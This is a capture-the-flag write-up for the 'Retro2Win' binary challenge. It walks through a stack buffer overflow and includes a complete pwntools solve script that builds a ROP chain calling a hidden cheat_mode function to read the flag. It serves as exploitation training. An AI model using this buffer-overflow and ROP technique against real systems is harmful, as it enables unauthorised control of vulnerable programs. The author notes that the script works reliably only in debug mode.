I'm going to skip over some of the steps, because I cover in more detail in the video walkthrough and the approach is the same as Rigged Slot Machine (disassemble, find offset etc).
Anyway, the binary has no canaries and PIE is disabled.
checksec --file retro2win
[*] '/home/crystal/Desktop/challs/pwn/Retro2Win/solution/retro2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Here's what the functionality looks like.
nc localhost 1338
*****************************
* Retro2Win Game *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit
Select an option:
1
You are walking through a dark forest...
I don't think there's any flags around here...
*****************************
* Retro2Win Game *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit
Select an option:
2
You encounter a ferocious dragon!
But it's too strong for you...
Only if you had some kind of cheat...
*****************************
* Retro2Win Game *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit
Select an option:
3
Quitting game...
Nothing! If we disassemble the code, we will find a hidden menu option 1337.
nc localhost 1338
*****************************
* Retro2Win Game *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit
Select an option:
1337
Enter your cheatcode:
1337
Checking cheatcode: 1337!
*****************************
* Retro2Win Game *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit
Nothing will work though, that's because the enter_cheatcode() function looks like this.
Spot the buffer overflow? Yes, but no flag. Check out this other cheat_mode function though.
void cheat_mode(long key1, long key2)
{
if (key1 == 0x2323232323232323 && key2 == 0x4242424242424242)
{
printf("CHEAT MODE ACTIVATED!\n");
printf("You now have access to secret developer tools...\n\n");
FILE *file = fopen("flag.txt", "r");
if (file == NULL)
{
printf("Error: Could not open flag.txt\n");
return;
}
char flag[64];
if (fgets(flag, sizeof(flag), file) != NULL)
{
printf("FLAG: %s\n", flag);
}
fclose(file);
}
else
{
printf("Unauthorized access detected! Returning to main menu...\n\n");
}
}
There are no execution paths to this function, so we need to exploit the buffer overflow to redirect the program execution. However, we also need to ensure the correct key1 and key2 are provided. Essentially, we have a ret2win challenge with parameters. Here's a solve script I put together.
solve.py
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
def find_ip(payload):
# Launch process and navigate to the cheat code entry
p = process(exe)
p.sendlineafter(b'Select an option:', b'1337')
p.sendlineafter(b'cheatcode:', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
info('Located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './retro2win'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(64))
# Start program
io = start()
# Navigate through the menu to reach the cheat code entry
io.sendlineafter(b'Select an option:', b'1337') # Enter hidden option
# ROP object
rop = ROP(elf)
rop.cheat_mode(0x2323232323232323, 0x4242424242424242)
# Build the payload
payload = flat({
offset: [rop.chain()]
})
pprint(rop.dump())
# Send the payload
io.sendlineafter(b'cheatcode:', payload)
# Get flag
io.interactive()
For some reason, it only comes through in the debug. Not sure if this is down to my exploit, the config on the server env (maybe the socat command in the dockerfile) or the C code itself. I CBA to debug, you'll work it out! 😅